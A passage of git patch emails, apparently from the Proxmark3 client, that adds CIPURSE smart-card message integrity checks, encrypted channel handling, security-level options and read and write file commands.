FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) { return 0; } +/* private fun computeCRC(inputData: ByteArray): Long { + var initialCRC: Long = 0x6363 + var ch: Long + for (i in inputData.indices) { + ch = (inputData[i].toInt() and 0xFF).toLong() + ch = ch xor (initialCRC and 0xFF) + ch = ch xor (ch shl 4) and 0xFF + initialCRC = + ((initialCRC shr 8 and 0x0FFFF) xor (ch shl 8 and 0x0FFFF) xor (ch shl 3 and 0x0FFFF) xor (ch shr 4 and 0x0FFFF) and 0xFFFF) + } + return initialCRC + }*/ + +static uint16_t CipurseCComputeMICCRC (uint8_t *data, size_t len) { + uint16_t initCRC = 0x6363; + for (size_t i = 0; i < len; i++) { + uint8_t ch = data[i] ^ initCRC; + ch = ch ^ ((ch << 4) & 0xff); + initCRC = (initCRC >> 8) ^ (ch << 8) ^ (ch << 3) ^ (ch >> 4); + } + return initCRC; +} + +void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { + size_t plen = 0; + uint8_t pdata[datalen + CIPURSE_MIC_LENGTH]; + memset(pdata, 0, sizeof(pdata)); + + // 0x00 padding + memcpy(pdata, data, datalen); + plen = datalen; + if (datalen % CIPURSE_MIC_LENGTH) + plen += CIPURSE_MIC_LENGTH - datalen % CIPURSE_MIC_LENGTH; + + // crc + uint16_t crc1 = CipurseCComputeMICCRC(pdata, plen); + + for (size_t i = 0; i < datalen; i += 4) { + uint8_t tmp1 = pdata[i + 0]; + uint8_t tmp2 = pdata[i + 1]; + pdata[i + 0] = pdata[i + 2]; + pdata[i + 1] = pdata[i + 3]; + pdata[i + 2] = tmp1; + pdata[i + 3] = tmp2; + } + + uint16_t crc2 = CipurseCComputeMICCRC(pdata, plen); + if (mic != NULL) { + mic[0] = crc2 >> 8; + mic[1] = crc2 & 0xff; + mic[2] = crc1 >> 8; + mic[3] = crc1 & 0xff; + } +} + /* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521 * * Encrypt/Decrypt the given data using ciphering mechanism explained the OPST. diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 73f6116b3..841fc8c10 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -18,6 +18,7 @@ #define CIPURSE_AES_KEY_LENGTH 16 #define CIPURSE_SECURITY_PARAM_N 6 #define CIPURSE_MAC_LENGTH 8 +#define CIPURSE_MIC_LENGTH 4 #define CIPURSE_POLY 0x35b088cce172UL #define ISO9797_M2_PAD_BYTE 0x80 @@ -70,6 +71,7 @@ size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen); void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); +void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic); void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt); void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen); void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen); From 9cfa638e4d9c480242bf5d09eb0ff62c81c9c748 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 00:40:12 +0300 Subject: [PATCH 59/77] encrypted resp works --- client/src/cipurse/cipursecrypto.c | 51 ++++++++++++++++++++---------- client/src/cipurse/cipursecrypto.h | 1 + 2 files changed, 35 insertions(+), 17 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 287f19182..1775dbf0b 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -23,7 +23,7 @@ #include "util.h" uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; +uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74}; uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) { switch (lvl) { @@ -224,26 +224,13 @@ void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_ size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) { for (int i = datalen; i > 0; i--) { if (data[i - 1] == 0x80) - return i; + return i - 1; if (data[i - 1] != 0x00) return 0; } return 0; } -/* private fun computeCRC(inputData: ByteArray): Long { - var initialCRC: Long = 0x6363 - var ch: Long - for (i in inputData.indices) { - ch = (inputData[i].toInt() and 0xFF).toLong() - ch = ch xor (initialCRC and 0xFF) - ch = ch xor (ch shl 4) and 0xFF - initialCRC = - ((initialCRC shr 8 and 0x0FFFF) xor (ch shl 8 and 0x0FFFF) xor (ch shl 3 and 0x0FFFF) xor (ch shr 4 and 0x0FFFF) and 0xFFFF) - } - return initialCRC - }*/ - static uint16_t CipurseCComputeMICCRC (uint8_t *data, size_t len) { uint16_t initCRC = 0x6363; for (size_t i = 0; i < len; i++) { @@ -286,6 +273,13 @@ void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { } } +bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) { + uint8_t xmic[CIPURSE_MIC_LENGTH] = {0}; + + CipurseCGenerateMIC(data, datalen, xmic); + return (memcmp(xmic, mic, CIPURSE_MIC_LENGTH) == 0); +} + /* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521 * * Encrypt/Decrypt the given data using ciphering mechanism explained the OPST. @@ -298,7 +292,7 @@ void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { */ void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) { uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0}; - +PrintAndLogEx(INFO, "----data[%d]: %s", datalen, sprint_hex(data, datalen)); memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); int i = 0; while (datalen > i) { @@ -313,6 +307,7 @@ void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); i += CIPURSE_AES_KEY_LENGTH; } + memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); } void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen) { @@ -419,6 +414,9 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH); break; case CPSEncrypted: + CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); + CipurseCGenerateMIC(buf, buflen, mac); + PrintAndLogEx(INFO, "mic: %s", sprint_hex(mac, 4)); break; default: break; @@ -429,6 +427,8 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) { uint8_t buf[260] = {0}; size_t buflen = 0; + uint8_t micdata[260] = {0}; + size_t micdatalen = 0; if (dstdatalen != NULL) *dstdatalen = 0; @@ -450,7 +450,7 @@ void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdat return; } - switch (ctx->RequestSecurity) { + switch (ctx->ResponseSecurity) { case CPSNone: break; case CPSPlain: @@ -482,6 +482,23 @@ void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdat *dstdatalen = srcdatalen; break; case CPSEncrypted: + CipurseCChannelDecrypt(ctx, srcdata, srcdatalen, buf, &buflen); + //PrintAndLogEx(INFO, "data plain[%d]: %s", buflen, sprint_hex(buf, buflen)); + + micdatalen = buflen - 2 - CIPURSE_MIC_LENGTH; + memcpy(micdata, buf, buflen); + memcpy(&micdata[micdatalen], &buf[buflen - 2], 2); + micdatalen += 2; + + if (CipurseCCheckMIC(micdata, micdatalen, &buf[micdatalen - 2]) == false) { + PrintAndLogEx(ERR, "APDU response MIC is not valid!"); + } + + memcpy(dstdata, buf, micdatalen - 2); + if (dstdatalen != NULL) + *dstdatalen = micdatalen - 2; + if (sw) + *sw = micdata[micdatalen - 2] * 0x0100 + micdata[micdatalen - 1]; break; default: break; diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 841fc8c10..f89c72ba1 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -72,6 +72,7 @@ void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uin void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic); +bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic); void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt); void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen); void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen); From a206dcc9b2911e6644a4678574a3057ae970e0b9 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 12:03:32 +0300 Subject: [PATCH 60/77] clear security state when card returns error --- client/src/cipurse/cipursecore.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index a848fc30c..ae42c5172 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -70,10 +70,17 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, if (*ResultLen < 2) { return 200; } - + size_t rlen = 0; - CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw); - memcpy(Result, securedata, rlen); + if (*ResultLen == 2) { + CipurseCClearContext(&cipurseContext); + + isw = Result[0] * 0x0100 + Result[1]; + } else { + CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw); + memcpy(Result, securedata, rlen); + } + if (ResultLen != NULL) *ResultLen = rlen; @@ -171,6 +178,7 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (verbose) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + //CipurseCChannelSetSecurityLevels(&cpc, CPSEncrypted, CPSEncrypted); CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); //CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); From 737ff2d46522d31881a13712e778a3ba5ca78c81 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 14:39:15 +0300 Subject: [PATCH 61/77] encoding works --- client/src/cipurse/cipursecore.c | 5 ++--- client/src/cipurse/cipursecrypto.c | 32 ++++++++++++++++++++++-------- client/src/cipurse/cipursecrypto.h | 1 + 3 files changed, 27 insertions(+), 11 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index ae42c5172..d9428241c 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -73,7 +73,8 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, size_t rlen = 0; if (*ResultLen == 2) { - CipurseCClearContext(&cipurseContext); + if (cipurseContext.RequestSecurity == CPSMACed || cipurseContext.RequestSecurity == CPSEncrypted) + CipurseCClearContext(&cipurseContext); isw = Result[0] * 0x0100 + Result[1]; } else { @@ -178,9 +179,7 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (verbose) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); - //CipurseCChannelSetSecurityLevels(&cpc, CPSEncrypted, CPSEncrypted); CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); - //CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); return true; } else { diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 1775dbf0b..7e31fba07 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -292,7 +292,10 @@ bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) { */ void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) { uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0}; -PrintAndLogEx(INFO, "----data[%d]: %s", datalen, sprint_hex(data, datalen)); + + if (datalen == 0 || datalen % CIPURSE_AES_KEY_LENGTH != 0) + return; + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); int i = 0; while (datalen > i) { @@ -367,7 +370,7 @@ bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0); } -static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t *data, size_t *datalen) { +static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t originalLc, uint8_t *data, size_t *datalen) { data[0] = apdu->CLA; data[1] = apdu->INS; data[2] = apdu->P1; @@ -375,8 +378,8 @@ static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t *dat data[4] = apdu->Lc; *datalen = 5 + apdu->Lc; - if (ctx->RequestSecurity == CPSMACed) - *datalen -= CIPURSE_MAC_LENGTH; + if (ctx->RequestSecurity == CPSMACed || ctx->RequestSecurity == CPSEncrypted) + *datalen = 5 + originalLc; memcpy(&data[5], apdu->data, *datalen); } @@ -399,24 +402,37 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, dstapdu->data[dstapdu->Lc] = Le; dstapdu->Lc++; } + uint8_t originalLc = dstapdu->Lc; switch (ctx->RequestSecurity) { case CPSNone: break; case CPSPlain: - CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); CipurseCCalcMACPadded(ctx, buf, buflen, NULL); break; case CPSMACed: dstapdu->Lc += CIPURSE_MAC_LENGTH; - CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); CipurseCCalcMACPadded(ctx, buf, buflen, mac); memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH); break; case CPSEncrypted: - CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); + dstapdu->Lc = srcapdu->Lc + CIPURSE_MIC_LENGTH; + dstapdu->Lc += CIPURSE_AES_BLOCK_LENGTH - dstapdu->Lc % CIPURSE_AES_BLOCK_LENGTH + 1; // 1 - SMI + if (includeLe) + dstapdu->Lc++; + + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); CipurseCGenerateMIC(buf, buflen, mac); - PrintAndLogEx(INFO, "mic: %s", sprint_hex(mac, 4)); + buf[0] = dstapdu->CLA; + buf[1] = dstapdu->INS; + buf[2] = dstapdu->P1; + buf[3] = dstapdu->P2; + memcpy(&buf[4], srcapdu->data, srcapdu->Lc); + memcpy(&buf[4 + srcapdu->Lc], mac, CIPURSE_MIC_LENGTH); + //PrintAndLogEx(INFO, "data plain[%d]: %s", 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, sprint_hex(buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH)); + CipurseCChannelEncrypt(ctx, buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, &dstdatabuf[1], &buflen); break; default: break; diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index f89c72ba1..b554f54de 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -16,6 +16,7 @@ #define CIPURSE_KVV_LENGTH 4 #define CIPURSE_AES_KEY_LENGTH 16 +#define CIPURSE_AES_BLOCK_LENGTH 16 #define CIPURSE_SECURITY_PARAM_N 6 #define CIPURSE_MAC_LENGTH 8 #define CIPURSE_MIC_LENGTH 4 From e5fe614a4f768d30236d22493aaee2723eed0036 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 14:53:51 +0300 Subject: [PATCH 62/77] added no-authenticate option to read file --- client/src/cmdhfcipurse.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index b5be78a3a..9db939b66 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -184,6 +184,7 @@ static int CmdHFCipurseReadFile(const char *Cmd) { arg_str0("k", "key", "", "key for authenticate"), arg_str0("f", "file", "", "file ID"), arg_int0("o", "offset", "", "offset for reading data from file"), + arg_lit0(NULL, "noauth", "read file without authentication"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -216,6 +217,13 @@ static int CmdHFCipurseReadFile(const char *Cmd) { fileId = (hdata[0] << 8) + hdata[1]; size_t offset = arg_get_int_def(ctx, 6, 0); + + bool noAuth = arg_get_lit(ctx, 7); + + //CipurseCChannelSetSecurityLevels(&cpc, CPSEncrypted, CPSEncrypted); + //CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); + //CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); + SetAPDULogging(APDULogging); @@ -231,12 +239,14 @@ static int CmdHFCipurseReadFile(const char *Cmd) { if (verbose) PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); - bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); - if (bres == false) { - if (verbose == false) - PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); - DropField(); - return PM3_ESOFT; + if (noAuth == false) { + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } } res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); From f682a184b847ad5140a3a93b544ef5af466ad644 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 15:29:46 +0300 Subject: [PATCH 63/77] set channel security levels from command line --- client/src/cmdhfcipurse.c | 83 +++++++++++++++++++++++++++++++-------- 1 file changed, 67 insertions(+), 16 deletions(-) diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 9db939b66..dd3292457 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -164,6 +164,60 @@ static int CmdHFCipurseAuth(const char *Cmd) { return bres ? PM3_SUCCESS : PM3_ESOFT; } +static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, size_t sreqid, size_t srespid, uint8_t *key, CipurseChannelSecurityLevel *sreq, CipurseChannelSecurityLevel *sresp) { + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, keyid, hdata, &hdatalen); + if (hdatalen && hdatalen != 16) { + PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); + + *sreq = CPSMACed; + *sresp = CPSMACed; + + char cdata[250] = {0}; + int cdatalen = sizeof(cdata); + cdatalen--; // for trailer 0x00 + CLIGetStrWithReturn(ctx, sreqid, (uint8_t *)cdata, &cdatalen); + if (cdatalen) { + str_lower(cdata); + if (strcmp(cdata, "plain") == 0) + *sreq = CPSPlain; + else if (strcmp(cdata, "mac") == 0) + *sreq = CPSMACed; + else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0) + *sreq = CPSEncrypted; + else { + PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode."); + return PM3_EINVARG; + } + } + + cdatalen = sizeof(cdata); + memset(cdata, 0, cdatalen); + cdatalen--; // for trailer 0x00 + CLIGetStrWithReturn(ctx, srespid, (uint8_t *)cdata, &cdatalen); + if (cdatalen) { + str_lower(cdata); + if (strcmp(cdata, "plain") == 0) + *sresp = CPSPlain; + else if (strcmp(cdata, "mac") == 0) + *sresp = CPSMACed; + else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0) + *sresp = CPSEncrypted; + else { + PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode."); + return PM3_EINVARG; + } + } + + return PM3_SUCCESS; +} + static int CmdHFCipurseReadFile(const char *Cmd) { uint8_t buf[APDU_RES_LEN] = {0}; size_t len = 0; @@ -185,6 +239,8 @@ static int CmdHFCipurseReadFile(const char *Cmd) { arg_str0("f", "file", "", "file ID"), arg_int0("o", "offset", "", "offset for reading data from file"), arg_lit0(NULL, "noauth", "read file without authentication"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -193,20 +249,18 @@ static int CmdHFCipurseReadFile(const char *Cmd) { bool verbose = arg_get_lit(ctx, 2); uint8_t keyId = arg_get_int_def(ctx, 3, 1); - uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); - CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen); - if (hdatalen && hdatalen != 16) { - PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp); + if (res) { CLIParserFree(ctx); return PM3_EINVARG; } - if (hdatalen) - memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); - + uint16_t fileId = 0x2ff7; - hdatalen = sizeof(hdata); + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); if (hdatalen && hdatalen != 2) { PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); @@ -220,16 +274,11 @@ static int CmdHFCipurseReadFile(const char *Cmd) { bool noAuth = arg_get_lit(ctx, 7); - //CipurseCChannelSetSecurityLevels(&cpc, CPSEncrypted, CPSEncrypted); - //CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); - //CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); - - SetAPDULogging(APDULogging); CLIParserFree(ctx); - int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); @@ -247,6 +296,9 @@ static int CmdHFCipurseReadFile(const char *Cmd) { DropField(); return PM3_ESOFT; } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); } res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); @@ -256,7 +308,6 @@ static int CmdHFCipurseReadFile(const char *Cmd) { DropField(); return PM3_ESOFT; } -//CIPURSECSetActChannelSecurityLevels(CPSMACed, CPSMACed); if (verbose) PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); From 012b7e570165b75c31955f1da68760d7b5104391 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 16:03:11 +0300 Subject: [PATCH 64/77] write file works --- client/src/cipurse/cipursecore.c | 4 + client/src/cipurse/cipursecore.h | 2 +- client/src/cmdhfcipurse.c | 123 ++++++++++++++++++++++++++++++- 3 files changed, 126 insertions(+), 3 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index d9428241c..f36181992 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -135,6 +135,10 @@ int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, siz return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); } +int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, true, 0, Result, MaxResultLen, ResultLen, sw); +} + bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { uint8_t buf[APDU_RES_LEN] = {0}; size_t len = 0; diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index ad044087e..9ac8f4906 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -34,7 +34,7 @@ int CIPURSEDeleteFile(uint16_t fileID); int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen); int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); -int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen); +int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose); void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index dd3292457..588ac9b3e 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -228,7 +228,7 @@ static int CmdHFCipurseReadFile(const char *Cmd) { CLIParserInit(&ctx, "hf cipurse read", "Read file by file ID with key ID and key", "hf cipurse read -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" - "hf cipurse auth -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + "hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); void *argtable[] = { arg_param_begin, @@ -329,6 +329,124 @@ static int CmdHFCipurseReadFile(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHFCipurseWriteFile(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse write", + "Write file by file ID with key ID and key", + "hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" + "hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_int0("o", "offset", "", "offset for reading data from file"), + arg_lit0(NULL, "noauth", "read file without authentication"), + 